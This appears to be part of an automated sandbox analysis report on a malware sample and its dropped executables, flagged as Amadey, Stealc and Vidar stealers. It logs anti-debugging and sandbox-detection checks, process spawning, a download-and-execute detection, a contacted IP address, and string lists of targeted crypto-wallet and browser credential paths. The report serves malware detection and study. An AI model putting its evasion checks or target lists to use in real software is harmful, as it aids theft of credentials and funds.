Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: 8ec8c5c339.exe, 0000001E.00000002.2782069458.000000000272E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9c
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: 1c593ec106.exe, 00000009.00000002.2920638250.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2920479806.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2921383968.00000000004C6000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	API call chain: ExitProcess graph end node	graph_8-92704
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	API call chain: ExitProcess graph end node	graph_8-92708
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	API call chain: ExitProcess graph end node	graph_8-93609
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	API call chain: ExitProcess graph end node	graph_8-92745
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	API call chain: ExitProcess graph end node	graph_8-92716
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	API call chain: ExitProcess graph end node	graph_8-92723

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Thread information set: HideFromDebugger
Source: C:\Users\userKFHCAEGCBF.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Code function: 0_2_04C80081 Start: 04C8041B End: 04C800AA		0_2_04C80081
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Code function: 0_2_04C80B54 Start: 04C80B74 End: 04C80B70		0_2_04C80B54

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe	Process queried: DebugPort
Source: C:\Users\userKFHCAEGCBF.exe	Process queried: DebugPort
Source: C:\Users\userKFHCAEGCBF.exe	Process queried: DebugPort
Source: C:\Users\userKFHCAEGCBF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe

Code function: 0_2_04C80CC5 rdtsc

0_2_04C80CC5

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Code function: 8_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

8_2_0041ACFA

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Code function: 8_2_00404610 VirtualProtect ?,00000004,00000100,00000000

8_2_00404610

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

8_2_0041BA2C

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_0034645B mov eax, dword ptr fs:[00000030h]	7_2_0034645B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 7_2_0034A1C2 mov eax, dword ptr fs:[00000030h]	7_2_0034A1C2
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_00419160 mov eax, dword ptr fs:[00000030h]	8_2_00419160

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Code function: 8_2_00405000 GetProcessHeap,HeapAlloc,memcpy,

8_2_00405000

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_0041C8D9 SetUnhandledExceptionFilter,	8_2_0041C8D9
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_0041ACFA
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_0041A718
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_6C1FB66C
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C1FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_6C1FB1F7
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Code function: 8_2_6C3AAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_6C3AAC62

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 8ec8c5c339.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ec8c5c339.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ec8c5c339.exe PID: 848, type: MEMORYSTR

Source: C:\Users\user\Desktop\8NjcvPNvUr.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe "C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe "C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingHJDBKJKFIE.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userKFHCAEGCBF.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingHJDBKJKFIE.exe "C:\Users\user\AppData\RoamingHJDBKJKFIE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userKFHCAEGCBF.exe "C:\Users\userKFHCAEGCBF.exe"
Source: C:\Users\userKFHCAEGCBF.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Code function: 8_2_6C3F4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

8_2_6C3F4760

Source: 1c593ec106.exe, 00000009.00000002.2918001289.0000000000452000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000000C.00000002.2917186375.0000000000452000.00000040.00000001.01000000.0000000A.sdmp, 1c593ec106.exe, 0000001F.00000002.2919090874.0000000000452000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: explorti.exe, explorti.exe, 00000007.00000002.2920362161.000000000050B000.00000040.00000001.01000000.00000007.sdmp, userKFHCAEGCBF.exe, 00000012.00000002.2598761608.0000000000DF9000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 7_2_0032D312 cpuid

7_2_0032D312

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000017001\1c593ec106.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 7_2_0032CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

7_2_0032CB1A

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.explorti.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.8NjcvPNvUr.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.axplong.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.userKFHCAEGCBF.exe.c10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.RoamingHJDBKJKFIE.exe.c30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.explorti.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.axplong.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.explorti.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.2597088663.0000000000C11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1671801821.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1675477265.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2918910724.0000000000311000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1686962382.0000000000251000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2917060920.0000000000161000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2581050540.0000000000C31000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2894591592.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2583529473.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2624183793.0000000000161000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1646914166.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2556118142.0000000005400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1715844262.0000000000311000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1712103381.0000000000311000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2288311449.0000000004830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2539138364.0000000004850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000001E.00000002.2782069458.00000000026DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2721852651.00000000025EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2741806930.00000000024C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8ec8c5c339.exe PID: 8052, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ec8c5c339.exe PID: 6704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8ec8c5c339.exe PID: 848, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 8ec8c5c339.exe PID: 8052, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 8ec8c5c339.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: 8ec8c5c339.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: 8ec8c5c339.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: 8ec8c5c339.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: 8ec8c5c339.exe	String found in binary or memory: \jaxx\Local Storage\
Source: 8ec8c5c339.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: 8ec8c5c339.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: 8ec8c5c339.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: 8ec8c5c339.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: 8ec8c5c339.exe	String found in binary or memory: passphrase.json
Source: 8ec8c5c339.exe	String found in binary or memory: \jaxx\Local Storage\
Source: 8ec8c5c339.exe	String found in binary or memory: \Ethereum\
Source: 8ec8c5c339.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16nes\AppData\Roaming\Binance\simple-storage.json
Source: 8ec8c5c339.exe	String found in binary or memory: Ethereum
Source: 8ec8c5c339.exe	String found in binary or memory: file__0.localstorage
Source: 8ec8c5c339.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: 8ec8c5c339.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: 8ec8c5c339.exe	String found in binary or memory: ltiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.js
Source: 8ec8c5c339.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: 8ec8c5c339.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo
Source: 8ec8c5c339.exe	String found in binary or memory: lockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exo

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000016001\8ec8c5c339.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
